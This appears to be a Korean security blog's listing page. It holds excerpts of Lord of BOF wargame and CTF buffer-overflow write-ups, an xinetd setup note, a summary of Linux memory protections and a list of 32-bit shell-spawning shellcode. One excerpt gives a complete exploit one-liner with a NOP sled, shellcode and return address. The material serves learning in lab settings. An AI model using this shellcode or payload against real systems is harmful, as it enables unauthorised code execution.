System

orc.c를 보면 environ[i]를 0으로 초기화 시켜주고있다.environ에는 환경변수들이 들어있고 이를 초기화 시켜주고 있다.환경변수를 이용하여 쉽게 풀는걸 방지 하는 부분이다. gdb로 보면 ebp-40부분에 argv[1]의 값을 복사한다.따라서 스택의 구조는 이런식으로 된다. 따라서 dump40개 + ret + nop sled + shellcode 이런식으로 exploit을 작성하면 된다.코드 부분에 argv[1][47]이 '\xbf'인지 확인을 하는데 이는 ret주소의 최상위비트가 bf인지 확인을 하는것이다. 어처피 스택주소로 리턴을 하기 때문에 크게 생각할 필요 없이 exploit을 작성하면된다. strcpy뒷 부분으로 잡아놓고 대충 값을 넣어 실행을 시켜 스택주소를 확인을 한다.그리고 n..

우선 바이너리가 어떤건지 확인을 하고, 메모리 보호기법도 확인을 먼저 했다. 32bit ELF파일이고, canary와 nx가 켜져있는것을 확인했다. IDA를 이용해서 cat flag가 있는 곳을 중심으로 분석했다. 0x08048526을 보면 [ebp+arg_0]와 0xBADB0169를 비교해서 맞으면 system함수가 실행되어 flag를 볼 수 있다.gdb를 이용해서 저 부분에 break를 걸고 스택주소를 확인했다. 적당히 a를 몇개 넣고 실행을 시켰다. gets함수를 보면 ebp-0x2c가 입력buf의 주소임을 알 수 있고, eip에서 ebp+0x8부분과 특정 수를 비교한다.ebp+0x8부분을 덮을수 있으면 보호기법이 켜져있든 말든 바로 flag를 볼 수 있다. 주소차이가 52만큼 난다.따라서 52개의..

goblin.c를 보면 main에 인자가 없고 크기16인 버퍼에 값을 입력하는 간단한 구조이다.shell코드가 16보다 크기 때문에 다른 방법을 찾아야한다. main을 보면 dummy가 없이 깔끔하게 되어있다. 나는 ret뒤쪽을 nop으로 채우고 그 뒤에 shellcode를 삽입하는 형태로 공격을 했다.스택구조는 아래와 같다. 이런식으로 진행을 공격을 할거다.일단 스택에 값을 채워넣고 ebp+8의 주소를 알아냈다. 시작시 인자를 입력할 수 없으므로, python코드를 간단히 짠 뒤 출력을 해주고 그 출력된 txt파일을 입력하는 형태로 실행했다. ebp+8의 주소는 0xbffffc90이다.여기 부터 nop을 256개 채우고 그 뒤에 쉘코드를 입력할 것이다.리턴주소는 0xbffffc90이 아닌 조금 뒤의 주..

코드를 보면 1번 문제와 거의 비슷한데 argv의 갯수 제한이 없고 버퍼의 크기가 작다.따라서 argv를 이용해서 쉘을 따면 된다. gdb로 보면 dummy가 없고 평범하게 되있다.스택 구조를 보면 이런식으로 된다. argv[1]에는 ret를 argv[2]로 덮어줄 값을 입력하고 argv[2]에는 쉘코드를 넣어 주면 된다. 적당한 곳에 브레이크를 걸어 놓고 첫번째 인자로 nop을 24개 입력해서 ret까지 덮어 보고,두번째 인자의 주소를 알기위해 임시로 A를 30개 입력했다. ebp+12에 **argv가 있기 때문에 0xbffffc74의 값을 12바이트 보면첫 4바이트는 argv[0]의 주소, 그다음 4바이트는 argv[1]의 주소, 그다음 4바이트는 argv[2]의 주소 이런식으로 된다.argv[2]의..

lob는 시작하면 bash2로 해야 정상적으로 쉘코드를 넣을 수 있다. 설명대로 간단한 bof예제이다.256크기의 버퍼에 argv[1]을 복사한다. gdb로 보면 esp에 0x100(256)만큼 크기를 할당하고 dummy는 없다.따라서 256 + SFP + RET 이런 스택구조를 가진다. \x90을 264개 채워서 진행을 해보면 ret까지 딱 덮히는 것을 볼 수 있다. exploit code `python -c 'print "\x90" * 176 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90" * 59 + "\x01\xfb\xff\xbf" ' ` 성공

remote 환경을 만들 때, xinetd를 이용하면 편하다. 우선 xinetd에 서비스를 등록시켜야한다. service test{socket_type = streamflags = REUSEwait = nouser = rootserver = /pathdisable = no} #flags = REUSE가 socket_type = stream보다 윗 라인에 있을경우 정상적으로 데몬이 돌아가지 않는 경우가 있을수도있음. 위와 같이 test라는 service를 /etc/xinetd.d/경로에 등록시키면 된다. 그리고 난 후 이 포트에 서비스를 매칭을 시켜줘야한다.echo "서비스명 포트/프로토콜" >> /etc/services service를 재시작 할 때는sudo service xinetd restart 이런..

보호되어 있는 글입니다.

리눅스 메모리 보호 기법1. ASLR(Address Space Layout Randomization)2. DEP / NX(Not Excutable)3. ASCII-Armor4. Canary 1) ASLR(Address Space Layout Randomization)주소공간을 랜덤하게 배치하는 기법이다. 스택, 힙 등 데이터 영역의 주소를 랜덤으로 프로세스 주소 공간에 배치함으로써 실행할 때 마다 데이터의 주소가 바껴 메모리를 보호하게 된다.#PIE = 바이너리 영역을 랜덤하게 배치하는 기법. 2) DEP / NX(Not Excutable)주메모리를 보호하기 위해 코드가 Stack이나 Heap영역에서 실행할 수 없게 하는 기법이다. DEP가 적용된 상태에서는 BOF공격을 하여도 실행권한이 없어 프로그램에..

32bit (1)가장 기본적으로 쉘을 띄우는 코드\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80bytes : 25 \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80bytes : 26 (2)쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코드\x31\xc0\..